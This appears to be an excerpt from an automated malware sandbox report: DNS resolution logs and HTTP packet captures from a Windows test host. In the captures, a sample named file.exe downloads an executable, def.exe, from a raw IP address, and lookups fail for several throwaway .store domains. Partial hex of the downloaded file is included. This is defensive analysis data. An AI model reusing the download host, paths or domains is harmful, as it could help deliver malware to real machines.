Oct 30, 2024 05:25:41.744513988 CET	1.1.1.1	192.168.2.6	0x4177	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:41.760504007 CET	1.1.1.1	192.168.2.6	0x1539	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.173444986 CET	1.1.1.1	192.168.2.6	0xde99	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.180006027 CET	1.1.1.1	192.168.2.6	0x133b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:25:43.180006027 CET	1.1.1.1	192.168.2.6	0x133b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.183743954 CET	1.1.1.1	192.168.2.6	0x8e94	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.193382978 CET	1.1.1.1	192.168.2.6	0x5909	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 05:25:43.194458961 CET	1.1.1.1	192.168.2.6	0xa3d3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.222114086 CET	1.1.1.1	192.168.2.6	0x8cad	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 05:25:46.527388096 CET	1.1.1.1	192.168.2.6	0xd2b5	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.527534962 CET	1.1.1.1	192.168.2.6	0x9c74	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.527534962 CET	1.1.1.1	192.168.2.6	0x9c74	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.536547899 CET	1.1.1.1	192.168.2.6	0xd2da	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.547159910 CET	1.1.1.1	192.168.2.6	0xd24c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404270887 CET	1.1.1.1	192.168.2.6	0x2771	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404270887 CET	1.1.1.1	192.168.2.6	0x2771	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404299021 CET	1.1.1.1	192.168.2.6	0x8fde	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404299021 CET	1.1.1.1	192.168.2.6	0x8fde	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404589891 CET	1.1.1.1	192.168.2.6	0x3983	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:25:49.404589891 CET	1.1.1.1	192.168.2.6	0x3983	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.455744982 CET	1.1.1.1	192.168.2.6	0x90fa	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.456420898 CET	1.1.1.1	192.168.2.6	0x93d9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.155172110 CET	1.1.1.1	192.168.2.6	0x77be	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:07.338671923 CET	1.1.1.1	192.168.2.6	0xa10b	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.338671923 CET	1.1.1.1	192.168.2.6	0xa10b	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.338671923 CET	1.1.1.1	192.168.2.6	0xa10b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.353106976 CET	1.1.1.1	192.168.2.6	0xffe3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.365185022 CET	1.1.1.1	192.168.2.6	0x97df	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.394469023 CET	1.1.1.1	192.168.2.6	0xd194	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 05:26:07.420694113 CET	1.1.1.1	192.168.2.6	0xbbc1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.431622028 CET	1.1.1.1	192.168.2.6	0xf3d6	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.586153984 CET	1.1.1.1	192.168.2.6	0x8494	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.586153984 CET	1.1.1.1	192.168.2.6	0x8494	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.599220037 CET	1.1.1.1	192.168.2.6	0x634a	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.599220037 CET	1.1.1.1	192.168.2.6	0x634a	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.638386965 CET	1.1.1.1	192.168.2.6	0xbc66	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.639060020 CET	1.1.1.1	192.168.2.6	0xea69	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.656872988 CET	1.1.1.1	192.168.2.6	0xa7bb	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.877388000 CET	1.1.1.1	192.168.2.6	0xcd54	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:07.877388000 CET	1.1.1.1	192.168.2.6	0xcd54	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:08.359679937 CET	1.1.1.1	192.168.2.6	0x5271	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:09.977247000 CET	1.1.1.1	192.168.2.6	0x9b15	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.052768946 CET	1.1.1.1	192.168.2.6	0x4733	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.063129902 CET	1.1.1.1	192.168.2.6	0x63f3	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.075864077 CET	1.1.1.1	192.168.2.6	0x3bb7	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462517977 CET	1.1.1.1	192.168.2.6	0xb398	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462625980 CET	1.1.1.1	192.168.2.6	0xe743	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:10.462625980 CET	1.1.1.1	192.168.2.6	0xe743	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.463665962 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:10.463665962 CET	1.1.1.1	192.168.2.6	0xd26f	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470623970 CET	1.1.1.1	192.168.2.6	0x4974	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.470663071 CET	1.1.1.1	192.168.2.6	0xabcb	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.471894979 CET	1.1.1.1	192.168.2.6	0x5631	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.479671001 CET	1.1.1.1	192.168.2.6	0xd3be	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.479671001 CET	1.1.1.1	192.168.2.6	0xd3be	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.479671001 CET	1.1.1.1	192.168.2.6	0xd3be	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.479671001 CET	1.1.1.1	192.168.2.6	0xd3be	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.480288029 CET	1.1.1.1	192.168.2.6	0xc01f	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.480711937 CET	1.1.1.1	192.168.2.6	0x66ae	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:10.487726927 CET	1.1.1.1	192.168.2.6	0x7e1	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:10.487726927 CET	1.1.1.1	192.168.2.6	0x7e1	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.487726927 CET	1.1.1.1	192.168.2.6	0x7e1	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.487726927 CET	1.1.1.1	192.168.2.6	0x7e1	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.487726927 CET	1.1.1.1	192.168.2.6	0x7e1	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.488351107 CET	1.1.1.1	192.168.2.6	0xb62d	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496234894 CET	1.1.1.1	192.168.2.6	0x7a15	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496234894 CET	1.1.1.1	192.168.2.6	0x7a15	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496234894 CET	1.1.1.1	192.168.2.6	0x7a15	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496234894 CET	1.1.1.1	192.168.2.6	0x7a15	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496443987 CET	1.1.1.1	192.168.2.6	0xd600	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:11.119034052 CET	1.1.1.1	192.168.2.6	0x2d8e	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:11.119034052 CET	1.1.1.1	192.168.2.6	0x2d8e	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:11.119034052 CET	1.1.1.1	192.168.2.6	0x2d8e	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:11.128333092 CET	1.1.1.1	192.168.2.6	0x1047	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.519370079 CET	1.1.1.1	192.168.2.6	0x3c80	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:32.519370079 CET	1.1.1.1	192.168.2.6	0x3c80	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.658322096 CET	1.1.1.1	192.168.2.6	0x20d7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:32.658322096 CET	1.1.1.1	192.168.2.6	0x20d7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.686048031 CET	1.1.1.1	192.168.2.6	0xfccf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.698581934 CET	1.1.1.1	192.168.2.6	0xd24d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.950361013 CET	1.1.1.1	192.168.2.6	0xedcb	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.971275091 CET	1.1.1.1	192.168.2.6	0xc3a5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468305111 CET	1.1.1.1	192.168.2.6	0x673d	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468305111 CET	1.1.1.1	192.168.2.6	0x673d	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468305111 CET	1.1.1.1	192.168.2.6	0x673d	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468305111 CET	1.1.1.1	192.168.2.6	0x673d	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468305111 CET	1.1.1.1	192.168.2.6	0x673d	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468456030 CET	1.1.1.1	192.168.2.6	0xe816	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 05:26:36.468456030 CET	1.1.1.1	192.168.2.6	0xe816	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.477540970 CET	1.1.1.1	192.168.2.6	0x4947	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 05:26:49.771225929 CET	1.1.1.1	192.168.2.6	0x900f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49760	185.215.113.16	80	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:24:19.888725042 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:24:20.819322109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:24:20 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 05:24:20.819394112 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819403887 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819447994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819461107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819516897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819528103 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819688082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819700003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:24:20.819711924 CET	1236	IN	Data Raw: 51 80 10 7f d1 a4 4b 9b 38 c3 82 51 7c a7 4e 90 e1 29 4b 55 37 97 5c 23 71 53 5e 7a 88 64 43 ad 3b 8a ef c4 80 ac 56 71 4b 59 61 3d 3d 5c 4d 0f 18 af 53 b8 d6 55 48 61 bc 5b 42 cf 59 2f 89 79 65 71 4b 28 81 91 b5 7f a0 80 7d 64 37 e1 57 50 44 4c Data Ascii: QK8Q\|N)KU7\#qS^zdC;VqKYa==\MSUHa[BY/yeqK(}d7WPDL}0U[^K{q}uaqZDaBORLFQ,HoC;beQ)~Ho9fe{QOJY"S*Fwi:jQS&@IcCCK{#[M!zlNpiY9UMbR\g\|FlcxzuMXEWL
Oct 30, 2024 05:24:20.824779034 CET	1236	IN	Data Raw: 79 76 db ed 24 58 6e 8e 5f 63 64 90 69 98 90 6b 8a d3 d8 6d a9 73 84 df 6a 75 94 c1 97 f0 cc f7 f1 98 8f 9d dc 70 63 fe 57 71 c3 38 fc e5 5d af 83 01 50 8d 90 39 83 45 4d 9f 5e 17 6c 18 92 e3 1c a4 8a 7a fe 97 8f 0c 83 c8 0f 2f 27 10 95 91 f3 97 Data Ascii: yv$Xn_cdikmsjupcWq8]P9EM^lz/'W!]/tLao%y]Gd/g6vTP}'z]uQ<S.AD7FJ\|dijOSG>SxZqJG$,}h]r^p`Kd?
